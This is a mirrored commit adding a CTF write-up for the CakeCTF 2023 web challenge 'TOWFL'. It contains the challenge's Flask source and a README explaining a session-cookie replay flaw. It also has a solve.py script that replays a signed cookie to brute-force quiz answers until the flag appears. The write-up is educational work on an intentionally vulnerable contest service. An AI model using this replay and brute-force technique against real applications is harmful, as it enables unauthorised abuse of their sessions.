mirror of
https://github.com/vee1e/Write-ups.git
synced 2026-09-01 11:08:39 +00:00
Add Cake-ctf-2023 web/TOWFL
This commit is contained in:
parent
588459a1ad
commit
ab400da1d0
12 changed files with 2007 additions and 0 deletions
56
CakeCTF-2023/web/TOWFL/README.md
Normal file
56
CakeCTF-2023/web/TOWFL/README.md
Normal file
|
|
@ -0,0 +1,56 @@
|
|||
Challenge name: TOWFL
|
||||
|
||||
Category: Web
|
||||
|
||||
Solves: 171
|
||||
|
||||
### Given information
|
||||
|
||||
> Do you speak the language of wolves?
|
||||
|
||||
> Prove your skill [here](http://towfl.2023.cakectf.com:8888/)!
|
||||
|
||||
### Solution
|
||||
|
||||
This challenge involves an online test website with a Flask backend. Hundred lorem-ipsum MCQ type questions are generated whose answers are random. The flag is revealed if and only if the player gets all the questions right. P(100 points doing it manually) = 0.25^100. So we can't go manual.
|
||||
repeatedly get the same set of questions with the same correct answers
|
||||
|
||||
```
|
||||
@app.route("/api/score", methods=['GET'])
|
||||
def api_score():
|
||||
if 'eid' not in flask.session:
|
||||
return {'status': 'error', 'reason': 'Exam has not started yet.'}
|
||||
|
||||
# Calculate score
|
||||
challs = json.loads(db().get(flask.session['eid']))
|
||||
score = 0
|
||||
for chall in challs:
|
||||
for result in chall['results']:
|
||||
if result is True:
|
||||
score += 1
|
||||
|
||||
# Is he/she worth giving the flag?
|
||||
if score == 100:
|
||||
flag = os.getenv("FLAG")
|
||||
else:
|
||||
flag = "Get perfect score for flag"
|
||||
|
||||
# Prevent reply attack
|
||||
flask.session.clear() # SESSION NEVER ACTUALLY GETS DESTROYED if this is used
|
||||
|
||||
return {'status': 'ok', 'data': {'score': score, 'flag': flag}}
|
||||
```
|
||||
|
||||
`flask.session.clear()` seems to be preventing a replay attack by invalidating the session cookie but in reality all it's doing is deleting the session cookie at client side. The session forever lives on server side.
|
||||
|
||||
Hence even after visiting the `/api/submit` endpoint (where the `flask.session.clear()` method gets called) we can continue to use the (theoretically invalid) session cookie to validate our answers. We would repeatedly get the same set of questions with the same correct answers, thus we will end up getting a perfect score after a worst case scenario of 400 tries.
|
||||
|
||||
[solve.py](solve.py)
|
||||
|
||||
---
|
||||
|
||||
### References
|
||||
|
||||
- https://stackoverflow.com/a/21083908
|
||||
|
||||
- Flask replay attack prevention: https://stackoverflow.com/a/30851749
|
||||
17
CakeCTF-2023/web/TOWFL/challenge_files/docker-compose.yml
Normal file
17
CakeCTF-2023/web/TOWFL/challenge_files/docker-compose.yml
Normal file
|
|
@ -0,0 +1,17 @@
|
|||
version: '3'
|
||||
services:
|
||||
challenge:
|
||||
build: ./service
|
||||
ports:
|
||||
- "8888:8080"
|
||||
links:
|
||||
- redis
|
||||
environment:
|
||||
- UWSGI_INI=/app/uwsgi.ini
|
||||
- LISTEN_PORT=8080
|
||||
- FLAG="FakeCTF{*** REDACTED ***}"
|
||||
restart: unless-stopped
|
||||
|
||||
redis:
|
||||
build: ./redis
|
||||
restart: unless-stopped
|
||||
3
CakeCTF-2023/web/TOWFL/challenge_files/redis/Dockerfile
Normal file
3
CakeCTF-2023/web/TOWFL/challenge_files/redis/Dockerfile
Normal file
|
|
@ -0,0 +1,3 @@
|
|||
FROM redis:6-alpine
|
||||
COPY ./redis.conf /redis.conf
|
||||
CMD ["redis-server", "/redis.conf"]
|
||||
1414
CakeCTF-2023/web/TOWFL/challenge_files/redis/redis.conf
Normal file
1414
CakeCTF-2023/web/TOWFL/challenge_files/redis/redis.conf
Normal file
File diff suppressed because it is too large
Load diff
|
|
@ -0,0 +1,9 @@
|
|||
FROM tiangolo/uwsgi-nginx-flask:python3.8-alpine
|
||||
|
||||
RUN apk update
|
||||
RUN adduser -D ctf
|
||||
RUN pip install Flask lorem redis
|
||||
|
||||
WORKDIR /app
|
||||
ADD . .
|
||||
RUN chown -R root:ctf .
|
||||
117
CakeCTF-2023/web/TOWFL/challenge_files/service/app.py
Executable file
117
CakeCTF-2023/web/TOWFL/challenge_files/service/app.py
Executable file
|
|
@ -0,0 +1,117 @@
|
|||
#!/usr/bin/env python3
|
||||
import flask
|
||||
import json
|
||||
import lorem
|
||||
import os
|
||||
import random
|
||||
import redis
|
||||
|
||||
REDIS_HOST = os.getenv("REDIS_HOST", "redis")
|
||||
REDIS_PORT = int(os.getenv("REDIS_PORT", "6379"))
|
||||
|
||||
app = flask.Flask(__name__)
|
||||
app.secret_key = os.urandom(16)
|
||||
|
||||
@app.route("/")
|
||||
def index():
|
||||
return flask.render_template("index.html")
|
||||
|
||||
@app.route("/api/start", methods=['POST'])
|
||||
def api_start():
|
||||
if 'eid' in flask.session:
|
||||
eid = flask.session['eid']
|
||||
else:
|
||||
eid = flask.session['eid'] = os.urandom(32).hex()
|
||||
|
||||
# Create new challenge set
|
||||
db().set(eid, json.dumps([new_challenge() for _ in range(10)]))
|
||||
return {'status': 'ok'}
|
||||
|
||||
@app.route("/api/question/<int:qid>", methods=['GET'])
|
||||
def api_get_question(qid: int):
|
||||
if qid <= 0 or qid > 10:
|
||||
return {'status': 'error', 'reason': 'Invalid parameter.'}
|
||||
elif 'eid' not in flask.session:
|
||||
return {'status': 'error', 'reason': 'Exam has not started yet.'}
|
||||
|
||||
# Send challenge information without answers
|
||||
chall = json.loads(db().get(flask.session['eid']))[qid-1]
|
||||
del chall['answers']
|
||||
del chall['results']
|
||||
return {'status': 'ok', 'data': chall}
|
||||
|
||||
@app.route("/api/submit", methods=['POST'])
|
||||
def api_submit():
|
||||
if 'eid' not in flask.session:
|
||||
return {'status': 'error', 'reason': 'Exam has not started yet.'}
|
||||
|
||||
try:
|
||||
answers = flask.request.get_json()
|
||||
except:
|
||||
return {'status': 'error', 'reason': 'Invalid request.'}
|
||||
|
||||
# Get answers
|
||||
eid = flask.session['eid']
|
||||
challs = json.loads(db().get(eid))
|
||||
if not isinstance(answers, list) \
|
||||
or len(answers) != len(challs):
|
||||
return {'status': 'error', 'reason': 'Invalid request.'}
|
||||
|
||||
# Check answers
|
||||
for i in range(len(answers)):
|
||||
if not isinstance(answers[i], list) \
|
||||
or len(answers[i]) != len(challs[i]['answers']):
|
||||
return {'status': 'error', 'reason': 'Invalid request.'}
|
||||
|
||||
for j in range(len(answers[i])):
|
||||
challs[i]['results'][j] = answers[i][j] == challs[i]['answers'][j]
|
||||
|
||||
# Store information with results
|
||||
db().set(eid, json.dumps(challs))
|
||||
return {'status': 'ok'}
|
||||
|
||||
@app.route("/api/score", methods=['GET'])
|
||||
def api_score():
|
||||
if 'eid' not in flask.session:
|
||||
return {'status': 'error', 'reason': 'Exam has not started yet.'}
|
||||
|
||||
# Calculate score
|
||||
challs = json.loads(db().get(flask.session['eid']))
|
||||
score = 0
|
||||
for chall in challs:
|
||||
for result in chall['results']:
|
||||
if result is True:
|
||||
score += 1
|
||||
|
||||
# Is he/she worth giving the flag?
|
||||
if score == 100:
|
||||
flag = os.getenv("FLAG")
|
||||
else:
|
||||
flag = "Get perfect score for flag"
|
||||
|
||||
# Prevent reply attack
|
||||
flask.session.clear()
|
||||
|
||||
return {'status': 'ok', 'data': {'score': score, 'flag': flag}}
|
||||
|
||||
|
||||
def new_challenge():
|
||||
"""Create new questions for a passage"""
|
||||
p = '\n'.join([lorem.paragraph() for _ in range(random.randint(5, 15))])
|
||||
qs, ans, res = [], [], []
|
||||
for _ in range(10):
|
||||
q = lorem.sentence().replace(".", "?")
|
||||
op = [lorem.sentence() for _ in range(4)]
|
||||
qs.append({'question': q, 'options': op})
|
||||
ans.append(random.randrange(0, 4))
|
||||
res.append(False)
|
||||
return {'passage': p, 'questions': qs, 'answers': ans, 'results': res}
|
||||
|
||||
def db():
|
||||
"""Get connection to DB"""
|
||||
if getattr(flask.g, '_redis', None) is None:
|
||||
flask.g._redis = redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=0)
|
||||
return flask.g._redis
|
||||
|
||||
if __name__ == '__main__':
|
||||
app.run()
|
||||
Binary file not shown.
Binary file not shown.
|
After Width: | Height: | Size: 73 KiB |
|
|
@ -0,0 +1,130 @@
|
|||
let submission;
|
||||
|
||||
/* Set every radio button unchecked */
|
||||
function resetRadioButtons() {
|
||||
for (let i = 0; i < 10; i++) {
|
||||
for (let j = 0; j < 4; j++) {
|
||||
document.getElementById(`exam-ans-${i+1}-${j+1}`).checked = false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Save selections of the current question */
|
||||
function saveStateLocal(n) {
|
||||
for (let i = 0; i < 10; i++) {
|
||||
for (let j = 0; j < 4; j++) {
|
||||
const l = document.getElementById(`exam-ans-${i+1}-${j+1}`);
|
||||
if (l.checked === true) {
|
||||
submission[n-1][i] = j;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Submit answers and get the score */
|
||||
async function submitAnswers() {
|
||||
// Submit answers
|
||||
let res = await fetch('/api/submit', {
|
||||
method: 'POST', credentials: 'include',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify(submission)
|
||||
});
|
||||
if (!res.ok) { alert("Server error"); return; }
|
||||
let json = await res.json();
|
||||
if (json.status !== 'ok') { alert(`Server error: ${json.reason}`); return; }
|
||||
|
||||
// Get score
|
||||
res = await fetch('/api/score', {
|
||||
method: 'GET', credentials: 'include',
|
||||
});
|
||||
if (!res.ok) { alert("Server error"); return; }
|
||||
json = await res.json();
|
||||
if (json.status !== 'ok') { alert(`Server error: ${json.reason}`); return; }
|
||||
|
||||
// Display score
|
||||
document.getElementById('exam').hidden = true;
|
||||
document.getElementById('score-value').innerText = `${json.data.score}`;
|
||||
document.getElementById('flag').innerText = json.data.flag;
|
||||
document.getElementById('score').hidden = false;
|
||||
}
|
||||
|
||||
/* Load a set of questions */
|
||||
async function loadNthQuestion(n) {
|
||||
// Get questions
|
||||
let res = await fetch(`/api/question/${n}`, { credentials: 'include' });
|
||||
if (!res.ok) { alert("Server error"); return; }
|
||||
let json = await res.json();
|
||||
if (json.status !== 'ok') { alert(`Server error: ${json.reason}`); return; }
|
||||
|
||||
// Display questions
|
||||
document.getElementById('exam-passage').innerText = json.data.passage;
|
||||
for (let i = 0; i < 10; i++) {
|
||||
document.getElementById(`exam-question-${i+1}`)
|
||||
.innerText = json.data.questions[i].question;
|
||||
for (let j = 0; j < 4; j++) {
|
||||
document.getElementById(`exam-question-${i+1}-${j+1}`)
|
||||
.innerText = json.data.questions[i].options[j];
|
||||
document.getElementById(`exam-ans-${i+1}-${j+1}`)
|
||||
.checked = submission[n-1][i] === j;
|
||||
}
|
||||
}
|
||||
|
||||
// Create "submit" or "go to next" button
|
||||
const submit = document.getElementById('submit');
|
||||
if (n == 10) {
|
||||
submit.innerText = "Submit";
|
||||
submit.onclick = () => {
|
||||
saveStateLocal(n);
|
||||
submitAnswers();
|
||||
}
|
||||
} else {
|
||||
submit.innerText = "Go To Next";
|
||||
submit.onclick = () => {
|
||||
saveStateLocal(n);
|
||||
document.getElementById(`q${n+1}`).click();
|
||||
window.scroll({top: 0, behavior: 'smooth'});
|
||||
}
|
||||
}
|
||||
|
||||
// Show the current link in red
|
||||
for (let i = 1; i <= 10; i++) {
|
||||
if (i == n) {
|
||||
document.getElementById(`q${i}`).children[0].style.color = "red";
|
||||
} else {
|
||||
document.getElementById(`q${i}`).children[0].style.color = "blue";
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Set onclick handlers */
|
||||
for (let i = 1; i <= 10; i++) {
|
||||
document.getElementById(`q${i}`).onclick = async () => {
|
||||
resetRadioButtons();
|
||||
await loadNthQuestion(i);
|
||||
}
|
||||
}
|
||||
document.getElementById('btn-start').onclick = async () => {
|
||||
// Start the exam
|
||||
let res = await fetch('/api/start', {
|
||||
method: 'POST', credentials: 'include'
|
||||
});
|
||||
if (!res.ok) { alert("Server error"); return; }
|
||||
let json = await res.json();
|
||||
if (json.status !== 'ok') { alert(`Server error: ${json.reason}`); return; }
|
||||
document.getElementById('start').hidden = true;
|
||||
document.getElementById('exam').hidden = false;
|
||||
|
||||
// Reset the state
|
||||
submission = [];
|
||||
for (let i = 0; i < 10; i++) {
|
||||
submission.push([]);
|
||||
for (let j = 0; j < 10; j++) {
|
||||
submission[i].push(null);
|
||||
}
|
||||
}
|
||||
|
||||
// Display the first question
|
||||
resetRadioButtons();
|
||||
loadNthQuestion(1);
|
||||
}
|
||||
|
|
@ -0,0 +1,64 @@
|
|||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>TOWFL - Test of Wolf as a Foreign Language</title>
|
||||
<link rel="stylesheet" href="https://unpkg.com/mvp.css">
|
||||
<style>
|
||||
@font-face {
|
||||
font-family: "WolfLanguage";
|
||||
src: url("/static/fonts/hymmnos.ttf") format("truetype");
|
||||
}
|
||||
.wolflang {
|
||||
font-family: "WolfLanguage";
|
||||
font-size: 1.5em;
|
||||
}
|
||||
.qlink {
|
||||
margin-left: 1em;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<main>
|
||||
<section>
|
||||
<header id="start">
|
||||
<h1>TOWFL - Test of Wolf as a Foreign Language</h1>
|
||||
<img src="/static/img/towfl.webp" width="30%"><br>
|
||||
<button id="btn-start">Start Exam</button>
|
||||
</header>
|
||||
</section>
|
||||
<section id="exam" hidden>
|
||||
{% for i in range(10) %}
|
||||
<div class="qlink" id="q{{ i+1 }}"><a href="#">Q{{ i+1 }}</a></div>
|
||||
{% endfor %}
|
||||
<hr>
|
||||
<div>
|
||||
<p><b>READING PASSAGE</b></p>
|
||||
<p class="wolflang" id="exam-passage"></p>
|
||||
<hr>
|
||||
<p><b>QUESTIONS</b></p>
|
||||
{% for i in range(10) %}
|
||||
<form>
|
||||
<p>Q{{ i+1 }}. <span class="wolflang" id="exam-question-{{ i+1 }}"></span></p>
|
||||
{% for j in range(4) %}
|
||||
<div>
|
||||
<input type="radio" name="exam-ans-{{i+1}}" id="exam-ans-{{i+1}}-{{j+1}}">
|
||||
<label class="wolflang" for="exam-ans-{{i+1}}-{{j+1}}" id="exam-question-{{i+1}}-{{j+1}}"></label>
|
||||
</div>
|
||||
{% endfor %}
|
||||
</form>
|
||||
{% endfor %}
|
||||
</div>
|
||||
<button id="submit">Go To Next</button>
|
||||
</section>
|
||||
<section id="score" hidden>
|
||||
<header>
|
||||
<h1>Your Score</h1>
|
||||
<p><b id="score-value"></b> / 100</p>
|
||||
<p id="flag"></p>
|
||||
<a href="/">Go back to home</a>
|
||||
</header>
|
||||
</section>
|
||||
</main>
|
||||
<script src="/static/js/script.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
5
CakeCTF-2023/web/TOWFL/challenge_files/service/uwsgi.ini
Normal file
5
CakeCTF-2023/web/TOWFL/challenge_files/service/uwsgi.ini
Normal file
|
|
@ -0,0 +1,5 @@
|
|||
[uwsgi]
|
||||
module = app
|
||||
callable = app
|
||||
uid = ctf
|
||||
gid = ctf
|
||||
192
CakeCTF-2023/web/TOWFL/solve.py
Normal file
192
CakeCTF-2023/web/TOWFL/solve.py
Normal file
|
|
@ -0,0 +1,192 @@
|
|||
import requests
|
||||
import json
|
||||
|
||||
cookies = {
|
||||
"session": "<session-cookie>",
|
||||
}
|
||||
|
||||
mcq_solutions_correct = []
|
||||
|
||||
previous_score = -1
|
||||
set_no = -1
|
||||
q_no = 0
|
||||
|
||||
mcq_solutions = [
|
||||
[
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
],
|
||||
[
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
],
|
||||
[
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
],
|
||||
[
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
],
|
||||
[
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
],
|
||||
[
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
],
|
||||
[
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
],
|
||||
[
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
],
|
||||
[
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
],
|
||||
[
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
],
|
||||
]
|
||||
|
||||
while True:
|
||||
try:
|
||||
mcq_solutions[set_no][q_no] += 1
|
||||
except TypeError:
|
||||
mcq_solutions[set_no][q_no] = 0
|
||||
|
||||
requests.post(
|
||||
"http://towfl.2023.cakectf.com:8888/api/submit",
|
||||
cookies=cookies,
|
||||
json=mcq_solutions,
|
||||
headers={
|
||||
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0",
|
||||
"Accept": "*/*",
|
||||
"Accept-Language": "en-US,en;q=0.5",
|
||||
"Referer": "http://towfl.2023.cakectf.com:8888/",
|
||||
"Content-Type": "application/json",
|
||||
"Origin": "http://towfl.2023.cakectf.com:8888",
|
||||
"Connection": "keep-alive",
|
||||
"Sec-Fetch-Dest": "empty",
|
||||
"Sec-Fetch-Mode": "cors",
|
||||
"Sec-Fetch-Site": "same-origin",
|
||||
"Pragma": "no-cache",
|
||||
"Cache-Control": "no-cache",
|
||||
},
|
||||
)
|
||||
|
||||
response = requests.get(
|
||||
"http://towfl.2023.cakectf.com:8888/api/score",
|
||||
cookies=cookies,
|
||||
headers={
|
||||
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0",
|
||||
"Accept": "*/*",
|
||||
"Accept-Language": "en-US,en;q=0.5",
|
||||
"Referer": "http://towfl.2023.cakectf.com:8888/",
|
||||
"Connection": "keep-alive",
|
||||
"Sec-Fetch-Dest": "empty",
|
||||
"Sec-Fetch-Mode": "cors",
|
||||
"Sec-Fetch-Site": "same-origin",
|
||||
"Pragma": "no-cache",
|
||||
"Cache-Control": "no-cache",
|
||||
},
|
||||
)
|
||||
|
||||
response = json.loads(response.content.decode())["data"]
|
||||
print(response["score"])
|
||||
if response["score"] != previous_score:
|
||||
mcq_solutions_correct = mcq_solutions
|
||||
previous_score = response["score"]
|
||||
q_no += 1
|
||||
if q_no == 10:
|
||||
q_no = 0
|
||||
set_no += 1
|
||||
|
||||
if previous_score == 100:
|
||||
print(response["flag"])
|
||||
break
|
||||
Loading…
Add table
Add a link
Reference in a new issue